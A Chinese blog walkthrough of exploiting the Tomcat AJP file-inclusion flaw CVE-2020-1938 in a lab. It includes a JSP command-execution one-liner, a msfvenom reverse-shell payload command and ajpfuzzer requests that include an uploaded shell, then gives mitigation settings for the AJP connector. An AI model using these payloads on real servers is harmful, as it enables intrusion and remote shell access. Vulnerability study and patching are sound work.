Apache-Tomcat-Ajp(CVE-2020-1938)漏洞利用姿势

1、漏洞描述

Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。
CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。

2、漏洞编号

CVE-2020-1938、CNVD-2020-10487

3、影响范围

Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x

4、环境搭建

1、安装java环境
2、安装Tomcat 7.0.67
下载链接:https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.67/bin/
在这里插入图片描述

5、漏洞利用

工具链接:
https://github.com/threedr3am/learnjavabug
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
https://github.com/hypn0s/AJPy
  • 使用POC进行检测:

在这里插入图片描述

  • 配合上传漏洞执行系统命令
命令执行一句话:<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>

1、上传命令执行一句话txt文件:
在这里插入图片描述
2、使用POC 去包含 该文件,执行系统命令:
在这里插入图片描述

  • 利用MSF反弹shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 > shell.txt

1、利用msfvenom 生成 payload
在这里插入图片描述
2、上传payload后,通过包含反弹shell
在这里插入图片描述

  • 利用ajpfuzzer_v0.6解析反弹shell
下载AJP包构造器ajpfuzzer:
https://github.com/doyensec/ajpfuzzer/releases

1、使用msfvenom 生成一个图片shell,然后上传到服务器
在这里插入图片描述
比如上传到其中的一个项目里面:
在这里插入图片描述
2、运行java -jar ajpfuzzer_v0.6.jar ,连接目标端口connect 172.16.200.153 8009
在这里插入图片描述
3、执行如下命令构造并发送AJP包,其中/t/22/shell.png为木马路径,其中11.jsp可以换为任意该web项目中没有的jsp文件,这样tomcat才会去调用DefaultServlet。
在这里插入图片描述
4、执行后msf 成功获取shell:
在这里插入图片描述

forwardrequest 2 "HTTP/1.1" "/11.jsp" 172.16.200.153 172.16.200.153 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:11.jsp","javax.servlet.include.path_info:/t/22/shell.png","javax.servlet.include.servlet_path:/"

6、漏洞防护

如果相关用户暂时无法进行版本升级,可根据自身情况采用下列防护措施。

一、若不需要使用Tomcat AJP协议,可直接关闭AJP Connector,或将其监听地址改为仅监听本机localhost。

具体操作:

(1)编辑 <CATALINA_BASE>/conf/server.xml,找到如下行(<CATALINA_BASE> 为 Tomcat 的工作目录):

<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />2)将此行注释掉(也可删掉该行):

<!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />-->3)保存后需重新启动Tomcat,规则方可生效。

二、若需使用Tomcat AJP协议,可根据使用版本配置协议属性设置认证凭证。

使用Tomcat 7和Tomcat 9的用户可为AJP Connector配置secret来设置AJP协议的认证凭证。例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):

<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>

使用Tomcat 8的用户可为AJP Connector配置requiredSecret来设置AJP协议的认证凭证。例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):

<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS"requiredSecret="YOUR_TOMCAT_AJP_SECRET" />

参考链接:
https://www.secfree.com/17211.html
https://blog.csdn.net/sun1318578251/article/details/104433346

  • 5
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
cnvd-2020-10487-tomcat-ajp-lfi是一种利用TomcatApache JServ协议(AJP)的本地文件包含(LFI)漏洞。该漏洞允许攻击者在服务器上执行任意的文件读取和执行操作,从而可能导致敏感信息泄露、甚至服务器完全受控。 攻击者可以通过将恶意的AJP请求发送到Tomcat服务器的8009端口来利用该漏洞。这些请求可以指定要读取的文件路径。由于Tomcat默认配置下AJP协议启用且未进行适当的安全限制,攻击者可以通过这个漏洞读取和执行服务器上的任意文件。 为了防止受到cnvd-2020-10487-tomcat-ajp-lfi漏洞的攻击,可以采取以下措施: 1. 禁用或限制AJPS协议的使用:可以通过修改Tomcat的配置文件来禁用或限制AJPS协议的使用。将AJP协议暴露在公共网络上可能会使服务器容易受到攻击。 2. 更新Tomcat版本:及时安装Tomcat的安全更新和补丁,以保持服务器的安全性和稳定性。 3. 配置Tomcat访问控制:通过配置Tomcat的访问控制策略,限制外部访问与敏感文件相关的路径。 4. 使用防火墙和入侵检测系统(IDS):配置防火墙和IDS以监控和检测异常的网络活动,并及时阻止和警示可疑的AJP请求。 5. 最小权限原则:确保服务器上的所有账户和进程都具有最小权限。这样,即使攻击者成功利用了漏洞,也能够最大限度地减小攻击的影响范围。 综上所述,cnvd-2020-10487-tomcat-ajp-lfi是一种危险的漏洞,但通过采取适当的防护措施,我们可以提高服务器的安全性,避免受到该漏洞的攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值